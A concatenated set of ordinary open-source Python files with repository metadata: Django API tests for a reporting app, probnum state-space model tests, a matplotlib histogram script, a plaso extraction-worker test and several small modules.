self.jessica.get_full_name()) self.assertEqual(user1['dates'][26]['date'], '27-11-2014') self.assertEqual(user1['dates'][26]['positive'], 0) self.assertEqual(user1['dates'][26]['negative'], 1) self.assertEqual(user1['dates'][26]['total'], 1) user2 = response_json[1] self.assertEqual(user2['fullname'], self.taeyeon.get_full_name()) self.assertEqual(user2['dates'][2]['date'], '03-11-2014') self.assertEqual(user2['dates'][2]['positive'], 1) self.assertEqual(user2['dates'][2]['negative'], 0) self.assertEqual(user2['dates'][2]['total'], 1) self.assertEqual(user2['dates'][13]['date'], '14-11-2014') self.assertEqual(user2['dates'][13]['positive'], 1) self.assertEqual(user2['dates'][13]['negative'], 2) self.assertEqual(user2['dates'][13]['total'], 3) user3 = response_json[2] self.assertEqual(user3['fullname'], self.yoona.get_full_name()) def test_api_report_summary_by_month_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) params = {'month': '11/2014'} response = self.client.get(reverse('reports_summary_by_month'), params) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(len(response_json), 3) user1 = response_json[0] self.assertEqual(user1['fullname'], self.jessica.get_full_name()) self.assertEqual(user1['dates'][26]['date'], '27-11-2014') self.assertEqual(user1['dates'][26]['positive'], 0) self.assertEqual(user1['dates'][26]['negative'], 1) self.assertEqual(user1['dates'][26]['total'], 1) user2 = response_json[1] self.assertEqual(user2['fullname'], self.taeyeon.get_full_name()) self.assertEqual(user2['dates'][2]['date'], '03-11-2014') self.assertEqual(user2['dates'][2]['positive'], 1) self.assertEqual(user2['dates'][2]['negative'], 0) self.assertEqual(user2['dates'][2]['total'], 1) self.assertEqual(user2['dates'][13]['date'], '14-11-2014') self.assertEqual(user2['dates'][13]['positive'], 1) self.assertEqual(user2['dates'][13]['negative'], 2) self.assertEqual(user2['dates'][13]['total'], 3) user3 = response_json[2] self.assertEqual(user3['fullname'], self.yoona.get_full_name()) def test_api_report_summary_by_month_invalid(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_summary_by_month')) self.assertEqual(response.status_code, 400) response_json = json.loads(response.content) self.assertEqual(response_json['month'], 'Invalid month. Please try again. (eg. 3/2014)') def test_anonymous_cannot_access_api_report_summary_by_month(self): response = self.client.get(reverse('reports_summary_by_month')) self.assertEqual(response.status_code, 401) ''' class TestApiSupport(APITestCase): def setUp(self): common_public_setup(self) def test_action(self): user1 = factory.create_user(display_password='password', status=USER_STATUS_ADDITION_VOLUNTEER, is_anonymous=False, is_public=True) user2 = factory.create_user(display_password='password', status=USER_STATUS_ADDITION_VOLUNTEER, is_anonymous=False, is_public=True) report1 = factory.create_report(type=self.report_type, created_by=self.user) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + user1.auth_token.key) params = { 'reportGuid': report1.guid, 'message': 'Hello World 1', 'isLike': True, 'isMeToo': True } response = self.client.post(reverse('report_add_support'), params) notifications = Notification.objects.filter(created_by=user1, receive_user=self.user).order_by('-id') self.assertEqual(notifications.count(), 1) self.assertEqual(notifications[0].type, SUPPORT_LIKE_ME_TOO_COMMENT) params = { 'reportGuid': report1.guid, 'message': ' ', 'isLike': True, 'isMeToo': True } response = self.client.post(reverse('report_add_support'), params) self.assertEqual(notifications.count(), 1) self.assertEqual(notifications[0].type, SUPPORT_LIKE_ME_TOO_COMMENT) params = { 'reportGuid': report1.guid, 'message': 'Hello World 2', 'isLike': True, 'isMeToo': True } response = self.client.post(reverse('report_add_support'), params) self.assertEqual(notifications.count(), 2) self.assertEqual(notifications[0].type, SUPPORT_COMMENT) params = { 'reportGuid': report1.guid, 'message': '', 'isLike': False, 'isMeToo': False } response = self.client.post(reverse('report_add_support'), params) self.assertEqual(notifications.count(), 2) self.assertEqual(notifications[0].type, SUPPORT_COMMENT) params = { 'reportGuid': report1.guid, 'message': '', 'isLike': True, 'isMeToo': True } response = self.client.post(reverse('report_add_support'), params) self.assertEqual(notifications.count(), 2) self.assertEqual(notifications[0].type, SUPPORT_COMMENT) report2 = factory.create_report(type=self.report_type, created_by=self.user) params = { 'reportGuid': report2.guid, 'message': '', 'isLike': True, 'isMeToo': False } response = self.client.post(reverse('report_add_support'), params) notifications = Notification.objects.filter(created_by=user1, receive_user=self.user).order_by('-id') self.assertEqual(notifications.count(), 3) self.assertEqual(notifications[0].type, SUPPORT_LIKE) report3 = factory.create_report(type=self.report_type, created_by=self.user) params = { 'reportGuid': report3.guid, 'message': '', 'isLike': False, 'isMeToo': True } response = self.client.post(reverse('report_add_support'), params) notifications = Notification.objects.filter(created_by=user1, receive_user=self.user).order_by('-id') self.assertEqual(notifications.count(), 4) self.assertEqual(notifications[0].type, SUPPORT_ME_TOO) report4 = factory.create_report(type=self.report_type, created_by=self.user) params = { 'reportGuid': report4.guid, 'message': '', 'isLike': True, 'isMeToo': True } response = self.client.post(reverse('report_add_support'), params) notifications = Notification.objects.filter(created_by=user1, receive_user=self.user).order_by('-id') self.assertEqual(notifications.count(), 5) self.assertEqual(notifications[0].type, SUPPORT_LIKE_ME_TOO) class TestApiReportReportAbuse(APITestCase): def setUp(self): try: ReportType.objects.get(id=0) except ReportType.DoesNotExist: ReportType.objects.create( id=0, name='Positive Report Type', form_definition='{}', version=0, ) call_command('clear_index', interactive=False, verbosity=0) self.taeyeon = factory.create_user() self.jessica = factory.create_user() self.yoona = factory.create_user() self.krystal = factory.create_user(is_anonymous=True) self.authority = factory.create_authority() self.authority.users.add(self.taeyeon) self.authority.users.add(self.jessica) self.authority.users.add(self.yoona) self.authority.users.add(self.krystal) self.type = factory.create_report_type(authority=self.authority) self.area = factory.create_administration_area(authority=self.authority) self.report1 = factory.create_report(created_by=self.taeyeon, type=self.type, administration_area=self.area) self.report2 = factory.create_report(created_by=self.jessica, type=self.type, administration_area=self.area) def test_post_create_report_report_abuse(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = { "reason": "No reason", } response = self.client.post(reverse('report-reportAbuse', args=[self.report2.id]), params) self.assertEqual(response.status_code, 201) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], self.report2.id) self.assertEqual(response_json['reason'], 'No reason') report_abuse = ReportAbuse.objects.latest('id') self.assertEqual(report_abuse.report, self.report2) self.assertEqual(report_abuse.reason, 'No reason') self.assertEqual(report_abuse.created_by, self.taeyeon) def test_post_create_report_report_abuse_with_multi_users(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.jessica.auth_token.key) params = { "reason": "No reason, It's me", } response = self.client.post(reverse('report-reportAbuse', args=[self.report1.id]), params) self.assertEqual(response.status_code, 201) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) params = { "reason": "No reason, :P", } response = self.client.post(reverse('report-reportAbuse', args=[self.report1.id]), params) self.assertEqual(response.status_code, 201) response = self.client.get(reverse('report-reportAbuses', args=[self.report1.id])) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(len(response_json), 2) # user1 = response_json[0] # self.assertEqual(user1['id'], self.jessica.id) # self.assertEqual(user1['firstName'], self.jessica.first_name) # # user2 = response_json[1] # self.assertEqual(user2['id'], self.yoona.id) # self.assertEqual(user2['firstName'], self.yoona.first_name) def test_post_create_report_report_abuse_without_reason(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.post(reverse('report-reportAbuse', args=[self.report2.id])) self.assertEqual(response.status_code, 400) def test_post_api_report_report_abuse_wih_anonymous_by_report(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) params = { "reason": "No reason, :P", } response = self.client.post(reverse('report-reportAbuse', args=[self.report1.id]), params) self.assertEqual(response.status_code, 400) def test_post_api_report_report_abuse_no_token(self): params = { "reason": "No reason, :P", } response = self.client.post(reverse('report-reportAbuse', args=[self.report1.id]), params) self.assertEqual(response.status_code, 401)

45.642505

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25,711

222,279

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0.083939

0.051329

0.97122

0.961042

0.949358

0.939179

0.934344

0.925553

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0.029833

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222,279

4,869

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45.651879

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0.013236

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0.102415

0.009616

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null

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1

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null

0

7

c9cd462ea77ed2bb613903e28e14369c07888c81

5,928

py

Python

tests/test_filtsmooth/test_statespace/test_discrete/test_discretegaussianmodel.py

coldfix/probnum

9b93d822c8d6501f9a12a783da84867ea54e6f6c

[ "MIT" ]

null

tests/test_filtsmooth/test_statespace/test_discrete/test_discretegaussianmodel.py

coldfix/probnum

9b93d822c8d6501f9a12a783da84867ea54e6f6c

[ "MIT" ]

null

tests/test_filtsmooth/test_statespace/test_discrete/test_discretegaussianmodel.py

coldfix/probnum

9b93d822c8d6501f9a12a783da84867ea54e6f6c

[ "MIT" ]

null

""" """ import unittest import numpy as np from probnum.filtsmooth.statespace.discrete import discretegaussianmodel TEST_NDIM = 4 class TestDiscreteGaussianModel(unittest.TestCase): """ """ def setUp(self): """ """ dynamat = np.random.rand(TEST_NDIM, TEST_NDIM) diffmat = dynamat @ dynamat.T + np.eye(TEST_NDIM) self.nl = discretegaussianmodel.DiscreteGaussianModel( lambda t, x: dynamat @ x, lambda t: diffmat ) def test_dynamics(self): """ """ some_input = np.random.rand(TEST_NDIM) val = self.nl.dynamics(0.0, some_input) self.assertEqual(val.ndim, 1) self.assertEqual(val.shape[0], TEST_NDIM) def test_diffusionmatrix(self): """ """ val = self.nl.diffusionmatrix(0.0) self.assertEqual(val.ndim, 2) self.assertEqual(val.shape[0], TEST_NDIM) self.assertEqual(val.shape[1], TEST_NDIM) def test_jacobian(self): """ """ some_input = np.random.rand(TEST_NDIM) with self.assertRaises(NotImplementedError): self.nl.jacobian(0.0, some_input) def test_sample(self): """ """ some_input = np.random.rand(TEST_NDIM) samp = self.nl.sample(0.0, some_input) self.assertEqual(samp.ndim, 1) self.assertEqual(samp.shape[0], TEST_NDIM) def test_ndim(self): """ """ self.assertEqual(self.nl.ndim, TEST_NDIM) def test_pdf(self): """ """ some_state = np.random.rand(TEST_NDIM) evl = self.nl.pdf(some_state, 0.0, some_state) self.assertEqual(np.isscalar(evl), True) class TestLinear(unittest.TestCase): """ """ def setUp(self): """ """ dynamat = np.random.rand(TEST_NDIM, TEST_NDIM) diffmat = dynamat @ dynamat.T + np.eye(TEST_NDIM) self.lin = discretegaussianmodel.DiscreteGaussianLinearModel( lambda t: dynamat, lambda t: np.random.rand(TEST_NDIM), lambda t: diffmat ) def test_dynamics(self): """ """ some_input = np.random.rand(TEST_NDIM) val = self.lin.dynamics(0.0, some_input) self.assertEqual(val.ndim, 1) self.assertEqual(val.shape[0], TEST_NDIM) def test_diffusionmatrix(self): """ """ val = self.lin.diffusionmatrix(0.0) self.assertEqual(val.ndim, 2) self.assertEqual(val.shape[0], TEST_NDIM) self.assertEqual(val.shape[1], TEST_NDIM) def test_jacobian(self): """ """ some_input = np.random.rand(TEST_NDIM) jac = self.lin.jacobian(0.0, some_input) self.assertEqual(jac.ndim, 2) self.assertEqual(jac.shape[0], TEST_NDIM) self.assertEqual(jac.shape[1], TEST_NDIM) def test_dynamicsmatrix(self): """ """ dyna = self.lin.dynamicsmatrix(0.0) self.assertEqual(dyna.ndim, 2) self.assertEqual(dyna.shape[0], TEST_NDIM) self.assertEqual(dyna.shape[1], TEST_NDIM) def test_force(self): """ """ force = self.lin.force(0.0) self.assertEqual(force.ndim, 1) self.assertEqual(force.shape[0], TEST_NDIM) def test_sample(self): """ """ some_input = np.random.rand(TEST_NDIM) samp = self.lin.sample(0.0, some_input) self.assertEqual(samp.ndim, 1) self.assertEqual(samp.shape[0], TEST_NDIM) def test_ndim(self): """ """ self.assertEqual(self.lin.ndim, TEST_NDIM) def test_pdf(self): """ """ some_state = np.random.rand(TEST_NDIM) evl = self.lin.pdf(some_state, 0.0, some_state) self.assertEqual(np.isscalar(evl), True) class TestLTI(unittest.TestCase): """ """ def setUp(self): """ """ dynamat = np.random.rand(TEST_NDIM, TEST_NDIM) diffmat = dynamat @ dynamat.T + np.eye(TEST_NDIM) self.lti = discretegaussianmodel.DiscreteGaussianLTIModel( dynamat, dynamat[0], diffmat ) def test_dynamics(self): """ """ some_input = np.random.rand(TEST_NDIM) val = self.lti.dynamics(0.0, some_input) self.assertEqual(val.ndim, 1) self.assertEqual(val.shape[0], TEST_NDIM) def test_dynamicsmatrix(self): """ """ some_input = np.random.rand(TEST_NDIM) dyna = self.lti.dynamicsmatrix(0.0) self.assertEqual(dyna.ndim, 2) self.assertEqual(dyna.shape[0], TEST_NDIM) self.assertEqual(dyna.shape[1], TEST_NDIM) def test_diffusionmatrix(self): """ """ val = self.lti.diffusionmatrix(0.0) self.assertEqual(val.ndim, 2) self.assertEqual(val.shape[0], TEST_NDIM) self.assertEqual(val.shape[1], TEST_NDIM) def test_jacobian(self): """ """ some_input = np.random.rand(TEST_NDIM) jac = self.lti.jacobian(0.0, some_input) self.assertEqual(jac.ndim, 2) self.assertEqual(jac.shape[0], TEST_NDIM) self.assertEqual(jac.shape[1], TEST_NDIM) def test_force(self): """ """ force = self.lti.force(0.0) self.assertEqual(force.ndim, 1) self.assertEqual(force.shape[0], TEST_NDIM) def test_sample(self): """ """ some_input = np.random.rand(TEST_NDIM) samp = self.lti.sample(0.0, some_input) self.assertEqual(samp.ndim, 1) self.assertEqual(samp.shape[0], TEST_NDIM) def test_ndim(self): """ """ self.assertEqual(self.lti.ndim, TEST_NDIM) def test_pdf(self): """ """ some_state = np.random.rand(TEST_NDIM) evl = self.lti.pdf(some_state, 0.0, some_state) self.assertEqual(np.isscalar(evl), True)

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a007b401c8e05e4c43cba162b029370e0c390db6

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py

Python

modules/ckanext-ytp_main/ckanext/ytp/celery_import.py

eetumans/opendata

061f58550bcb820016a764cca4763ed0a5f627fe

[ "MIT" ]

16

2018-07-12T14:26:02.000Z

2022-02-24T12:10:00.000Z

modules/ckanext-ytp_main/ckanext/ytp/celery_import.py

eetumans/opendata

061f58550bcb820016a764cca4763ed0a5f627fe

[ "MIT" ]

751

2017-09-28T07:47:50.000Z

2022-03-31T12:08:25.000Z

modules/ckanext-ytp_main/ckanext/ytp/celery_import.py

vrk-kpa/opendata-ckan

8936e2d9e700b9e5534fe2a51eedc2d1ede8c10b

[ "MIT" ]

6

2017-10-31T07:47:07.000Z

2021-10-06T07:09:07.000Z

def task_imports(): return ['ckanext.ytp.tasks', 'ckanext.ytp.tasks']

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150

py

Python

tests/test_get_id_by_query.py

monosans/pygismeteo

f6238ffd7811aefa3366b73c6c082395682b3d27

[ "MIT" ]

5

2021-11-12T21:58:42.000Z

2021-12-25T11:40:27.000Z

tests/test_get_id_by_query.py

monosans/pygismeteo

f6238ffd7811aefa3366b73c6c082395682b3d27

[ "MIT" ]

16

2021-11-15T17:52:54.000Z

2022-03-25T15:26:28.000Z

tests/test_get_id_by_query.py

monosans/pygismeteo

f6238ffd7811aefa3366b73c6c082395682b3d27

[ "MIT" ]

null

# -*- coding: utf-8 -*- from pygismeteo import Gismeteo def test_get_id_by_query() -> None: assert Gismeteo().get_id_by_query("Москва") == 4368

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4e6bb1966f5fc0f8ad3e798d466f71a7d6a4d01f

167

py

Python

x_rand2/__init__.py

connor-makowski/x_rand

e9e6faae8c4f004aebcfea2b3483031695c7ed3d

[ "MIT" ]

2

2021-02-02T17:31:14.000Z

2021-02-17T21:33:18.000Z

x_rand2/__init__.py

connor-makowski/x_rand

e9e6faae8c4f004aebcfea2b3483031695c7ed3d

[ "MIT" ]

null

x_rand2/__init__.py

connor-makowski/x_rand

e9e6faae8c4f004aebcfea2b3483031695c7ed3d

[ "MIT" ]

null

import sys if sys.version_info[0] == 3: from x_rand2.x_rand import x_rand, x_rand_admin elif sys.version_info[0] < 3: from x_rand2 import x_rand, x_rand_admin

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py

Python

espeleo_planner/test/scripts/plot_neighbour_angle_std_histogram.py

ITVRoC/espeleo_planner

f29d01c09aba339a30a76d05e80641181172ec8a

[ "MIT" ]

6

2021-06-14T12:53:06.000Z

2021-11-12T01:14:43.000Z

espeleo_planner/test/scripts/plot_neighbour_angle_std_histogram.py

ITVRoC/espeleo_planner

f29d01c09aba339a30a76d05e80641181172ec8a

[ "MIT" ]

null

espeleo_planner/test/scripts/plot_neighbour_angle_std_histogram.py

ITVRoC/espeleo_planner

f29d01c09aba339a30a76d05e80641181172ec8a

[ "MIT" ]

2

2021-09-17T06:58:23.000Z

2022-03-02T12:15:29.000Z

#! /usr/bin/python import matplotlib.pyplot as plt import numpy as np measurements_mean_std = [ [14.580862047474623, 6.075320512048607], [17.15034588213487, 6.013297305587326], [17.40712445864718, 6.0786148727775835], [10.997665027116431, 5.122087565285087], [9.083403326029671, 4.36430118910945], [8.807800893220461, 3.5521659564820025], [13.810979490746323, 5.502056760777586], [12.184675001512177, 5.239194812480995], [9.466254501175204, 3.8184797117274356], [17.15034588213487, 6.013297305587326], [17.40712445864718, 6.0786148727775835], [14.580862047474623, 6.075320512048607], [8.807800893220461, 3.5521659564820025], [8.537576561493351, 3.80529051679574], [13.810979490746323, 5.502056760777586], [9.083403326029671, 4.36430118910945], [9.466254501175204, 3.8184797117274356], [12.080015421555425, 5.049617522440796], [9.928680899438294, 6.035107559394114], [12.853507659807189, 5.785539998056296], [14.580862047474623, 6.075320512048607], [8.807800893220461, 3.5521659564820025], [11.587112662074224, 6.358617831738943], [10.2399295321238, 4.481189072402238], [9.083403326029671, 4.36430118910945], [12.184675001512177, 5.239194812480995], [12.080015421555425, 5.049617522440796], [9.928680899438294, 6.035107559394114], [12.853507659807189, 5.785539998056296], [14.580862047474623, 6.075320512048607], [6.476501957957835, 4.8132321274246], [8.537576561493351, 3.80529051679574], [8.807800893220461, 3.5521659564820025], [11.587112662074224, 6.358617831738943], [10.2399295321238, 4.481189072402238], [12.184675001512177, 5.239194812480995], [9.466254501175204, 3.8184797117274356], [8.091186464752749, 6.136296389022805], [7.852704754906792, 4.343768201209051], [8.670163964741999, 4.633257877869705], [6.3210685917865375, 4.3368878948732315], [8.870442861535144, 6.177832505416414], [6.079090279988409, 4.148184844804541], [8.537576561493351, 3.80529051679574], [8.807800893220461, 3.5521659564820025], [8.432597172058323, 5.273744677582166], [9.083403326029671, 4.36430118910945], [9.928680899438294, 6.035107559394114], [7.852704754906792, 4.343768201209051], [8.091186464752749, 6.136296389022805], [9.359806276911984, 4.391696939018151], [17.15034588213487, 6.013297305587326], [17.40712445864718, 6.0786148727775835], [14.580862047474623, 6.075320512048607], [8.537576561493351, 3.80529051679574], [8.807800893220461, 3.5521659564820025], [12.184675001512177, 5.239194812480995], [9.928680899438294, 6.035107559394114], [14.580862047474623, 6.075320512048607], [8.537576561493351, 3.80529051679574], [13.810979490746323, 5.502056760777586], [12.184675001512177, 5.239194812480995], [9.083403326029671, 4.36430118910945], [6.476501957957835, 4.8132321274246], [9.466254501175204, 3.8184797117274356], [8.091186464752749, 6.136296389022805], [7.852704754906792, 4.343768201209051], [9.928680899438294, 6.035107559394114], [12.853507659807189, 5.785539998056296], [12.080015421555425, 5.049617522440796], [9.083403326029671, 4.36430118910945], [9.466254501175204, 3.8184797117274356], [11.587112662074224, 6.358617831738943], [9.928680899438294, 6.035107559394114], [6.476501957957835, 4.8132321274246], [9.083403326029671, 4.36430118910945], [11.508128595950659, 3.5851980362589004], [8.807800893220461, 3.5521659564820025], [9.359806276911984, 4.391696939018151], [13.810979490746323, 5.502056760777586], [12.184675001512177, 5.239194812480995], [7.852704754906792, 4.343768201209051], [8.091186464752749, 6.136296389022805], [12.107676347618414, 3.5085731094097685], [8.670163964741999, 4.633257877869705], [6.3210685917865375, 4.3368878948732315], [6.02640897943888, 3.916563880181475], [8.870442861535144, 6.177832505416414], [5.8339171963263325, 3.677542604399159], [8.432597172058323, 5.273744677582166], [6.476501957957835, 4.8132321274246], [9.359806276911984, 4.391696939018151], [7.852704754906792, 4.343768201209051], [8.091186464752749, 6.136296389022805], [6.365395218692758, 3.981690481898278], [6.02640897943888, 3.916563880181475], [8.870442861535144, 6.177832505416414], [6.079090279988409, 4.148184844804541], [5.8339171963263325, 3.677542604399159], [8.432597172058323, 5.273744677582166], [6.476501957957835, 4.8132321274246], [8.091186464752749, 6.136296389022805], [6.365395218692758, 3.981690481898278], [12.080015421555425, 5.049617522440796], [12.853507659807189, 5.785539998056296], [8.870442861535144, 6.177832505416414], [8.537576561493351, 3.80529051679574], [8.807800893220461, 3.5521659564820025], [11.587112662074224, 6.358617831738943], [10.2399295321238, 4.481189072402238], [9.083403326029671, 4.36430118910945], [6.476501957957835, 4.8132321274246], [9.466254501175204, 3.8184797117274356], [8.091186464752749, 6.136296389022805], [7.852704754906792, 4.343768201209051], [5.665576843540502, 3.3322218039932925], [6.3210685917865375, 4.3368878948732315], [6.02640897943888, 3.916563880181475], [6.365395218692758, 3.981690481898278], [5.603685695983892, 3.2451075514789007], [6.079090279988409, 4.148184844804541], [7.176117324513632, 3.942691925460738], [7.466702255730219, 4.246506577865299], [6.883321149103081, 3.7013844629577264], [8.0310976897579, 4.565308046256245], [6.3210685917865375, 4.3368878948732315], [9.928680899438294, 6.035107559394114], [8.870442861535144, 6.177832505416414], [6.079090279988409, 4.148184844804541], [8.537576561493351, 3.80529051679574], [8.807800893220461, 3.5521659564820025], [8.432597172058323, 5.273744677582166], [11.587112662074224, 6.358617831738943], [9.083403326029671, 4.36430118910945], [6.476501957957835, 4.8132321274246], [7.852704754906792, 4.343768201209051], [5.665576843540502, 3.3322218039932925], [6.3210685917865375, 4.3368878948732315], [6.02640897943888, 3.916563880181475], [5.603685695983892, 3.2451075514789007], [6.079090279988409, 4.148184844804541], [5.8339171963263325, 3.677542604399159], [7.466702255730219, 4.246506577865299], [8.0310976897579, 4.565308046256245], [8.670163964741999, 4.633257877869705], [9.928680899438294, 6.035107559394114], [11.508128595950659, 3.5851980362589004], [8.537576561493351, 3.80529051679574], [8.807800893220461, 3.5521659564820025], [6.079090279988409, 4.148184844804541], [6.476501957957835, 4.8132321274246], [9.083403326029671, 4.36430118910945], [9.359806276911984, 4.391696939018151], [8.091186464752749, 6.136296389022805], [12.107676347618414, 3.5085731094097685], [5.665576843540502, 3.3322218039932925], [6.3210685917865375, 4.3368878948732315], [6.079090279988409, 4.148184844804541], [7.176117324513632, 3.942691925460738], [5.8339171963263325, 3.677542604399159], [6.883321149103081, 3.7013844629577264], [6.365395218692758, 3.981690481898278], [7.627730488281269, 3.536913242480221], [5.8339171963263325, 3.677542604399159], [5.665576843540502, 3.3322218039932925], [6.02640897943888, 3.916563880181475], [6.883321149103081, 3.7013844629577264], [9.928680899438294, 6.035107559394114], [12.853507659807189, 5.785539998056296], [15.0144750900378, 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3.9849382544120675], [7.648743254380252, 3.257370873095939], [15.006366271051672, 4.232282823070333], [12.648689092385144, 4.264422651010618], [8.612843130856907, 4.3063128973519245], [10.627155716160557, 4.390483829087929], [22.01908128270974, 3.805279465650763], [7.142804913450352, 2.3719820232546924], [11.052943486906425, 4.056670488652025], [8.54798198686671, 4.392237959001067], [8.591695637435324, 4.571358857179722], [6.81037827822504, 2.028443179487512], [6.318696553751853, 2.6493957765030025], [6.925060823285094, 3.9322925779230595], [7.757238842667287, 3.6066908442572694], [12.390006549779804, 2.8565142569979605], [11.052943486906425, 4.056670488652025], [7.868234704679868, 6.1038468248930515], [6.925060823285094, 3.9322925779230595], [10.791267205626388, 4.524959636297345], [9.228222681876002, 4.707914178930707], [9.70851317614466, 6.764568760710533] ] d = [e[1] for e in measurements_mean_std] # An "interface" to matplotlib.axes.Axes.hist() method n, bins, patches = plt.hist(x=d, bins='auto', color='#0504aa', alpha=0.7, rwidth=0.85) plt.grid(axis='y', alpha=0.75) plt.xlabel('Std $\\sigma^2$') plt.ylabel('Frequency') plt.title('Histogram of neighboring angles standard deviation') plt.text(23, 45, r'$\mu=15, b=3$') maxfreq = n.max() # Set a clean upper y-axis limit. plt.ylim(ymax=np.ceil(maxfreq / 10) * 10 if maxfreq % 10 else maxfreq + 10) plt.show()

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py

Python

tests/engine/worker.py

Defense-Cyber-Crime-Center/plaso

4f3a85fbea10637c1cdbf0cde9fc539fdcea9c47

[ "Apache-2.0" ]

2

2016-02-18T12:46:29.000Z

2022-03-13T03:04:59.000Z

tests/engine/worker.py

Defense-Cyber-Crime-Center/plaso

4f3a85fbea10637c1cdbf0cde9fc539fdcea9c47

[ "Apache-2.0" ]

null

tests/engine/worker.py

Defense-Cyber-Crime-Center/plaso

4f3a85fbea10637c1cdbf0cde9fc539fdcea9c47

[ "Apache-2.0" ]

6

2016-12-18T08:05:36.000Z

2021-04-06T14:19:11.000Z

#!/usr/bin/python # -*- coding: utf-8 -*- """Tests the worker.""" import unittest from dfvfs.lib import definitions as dfvfs_definitions from dfvfs.path import factory as path_spec_factory from dfvfs.resolver import context from plaso.engine import knowledge_base from plaso.engine import single_process from plaso.engine import worker from plaso.parsers import mediator as parsers_mediator from tests.engine import test_lib class BaseEventExtractionWorkerTest(test_lib.EngineTestCase): """Tests for the worker object.""" def testExtractionWorker(self): """Tests the extraction worker functionality.""" path_spec_queue = single_process.SingleProcessQueue() event_object_queue = single_process.SingleProcessQueue() parse_error_queue = single_process.SingleProcessQueue() event_queue_producer = single_process.SingleProcessItemQueueProducer( event_object_queue) parse_error_queue_producer = single_process.SingleProcessItemQueueProducer( parse_error_queue) knowledge_base_object = knowledge_base.KnowledgeBase() parser_mediator = parsers_mediator.ParserMediator( event_queue_producer, parse_error_queue_producer, knowledge_base_object) resolver_context = context.Context() extraction_worker = worker.BaseEventExtractionWorker( 0, path_spec_queue, event_queue_producer, parse_error_queue_producer, parser_mediator, resolver_context=resolver_context) self.assertNotEqual(extraction_worker, None) extraction_worker.InitializeParserObjects() # Process a file. source_path = self._GetTestFilePath([u'syslog']) path_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_OS, location=source_path) path_spec_queue.PushItem(path_spec) extraction_worker.Run() test_queue_consumer = test_lib.TestQueueConsumer(event_object_queue) test_queue_consumer.ConsumeItems() self.assertEqual(test_queue_consumer.number_of_items, 16) # Process a compressed file. source_path = self._GetTestFilePath([u'syslog.gz']) path_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_OS, location=source_path) path_spec_queue.PushItem(path_spec) extraction_worker.Run() test_queue_consumer = test_lib.TestQueueConsumer(event_object_queue) test_queue_consumer.ConsumeItems() self.assertEqual(test_queue_consumer.number_of_items, 16) source_path = self._GetTestFilePath([u'syslog.bz2']) path_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_OS, location=source_path) path_spec_queue.PushItem(path_spec) extraction_worker.Run() test_queue_consumer = test_lib.TestQueueConsumer(event_object_queue) test_queue_consumer.ConsumeItems() self.assertEqual(test_queue_consumer.number_of_items, 15) # Process a file in an archive. source_path = self._GetTestFilePath([u'syslog.tar']) path_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_OS, location=source_path) path_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_TAR, location=u'/syslog', parent=path_spec) path_spec_queue.PushItem(path_spec) extraction_worker.Run() test_queue_consumer = test_lib.TestQueueConsumer(event_object_queue) test_queue_consumer.ConsumeItems() self.assertEqual(test_queue_consumer.number_of_items, 13) # Process an archive file without "process archive files" mode. extraction_worker.SetProcessArchiveFiles(False) source_path = self._GetTestFilePath([u'syslog.tar']) path_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_OS, location=source_path) path_spec_queue.PushItem(path_spec) extraction_worker.Run() test_queue_consumer = test_lib.TestQueueConsumer(event_object_queue) test_queue_consumer.ConsumeItems() self.assertEqual(test_queue_consumer.number_of_items, 3) # Process an archive file with "process archive files" mode. extraction_worker.SetProcessArchiveFiles(True) source_path = self._GetTestFilePath([u'syslog.tar']) path_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_OS, location=source_path) path_spec_queue.PushItem(path_spec) extraction_worker.Run() test_queue_consumer = test_lib.TestQueueConsumer(event_object_queue) test_queue_consumer.ConsumeItems() self.assertEqual(test_queue_consumer.number_of_items, 16) # Process a file in a compressed archive. source_path = self._GetTestFilePath([u'syslog.tgz']) path_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_OS, location=source_path) path_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_GZIP, parent=path_spec) path_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_TAR, location=u'/syslog', parent=path_spec) path_spec_queue.PushItem(path_spec) extraction_worker.Run() test_queue_consumer = test_lib.TestQueueConsumer(event_object_queue) test_queue_consumer.ConsumeItems() self.assertEqual(test_queue_consumer.number_of_items, 13) # Process an archive file with "process archive files" mode. extraction_worker.SetProcessArchiveFiles(True) source_path = self._GetTestFilePath([u'syslog.tgz']) path_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_OS, location=source_path) path_spec_queue.PushItem(path_spec) extraction_worker.Run() test_queue_consumer = test_lib.TestQueueConsumer(event_object_queue) test_queue_consumer.ConsumeItems() self.assertEqual(test_queue_consumer.number_of_items, 17) def testExtractionWorkerHashing(self): """Test that the worker sets up and runs hashing code correctly.""" path_spec_queue = single_process.SingleProcessQueue() event_object_queue = single_process.SingleProcessQueue() parse_error_queue = single_process.SingleProcessQueue() event_queue_producer = single_process.SingleProcessItemQueueProducer( event_object_queue) parse_error_queue_producer = single_process.SingleProcessItemQueueProducer( parse_error_queue) knowledge_base_object = knowledge_base.KnowledgeBase() parser_mediator = parsers_mediator.ParserMediator( 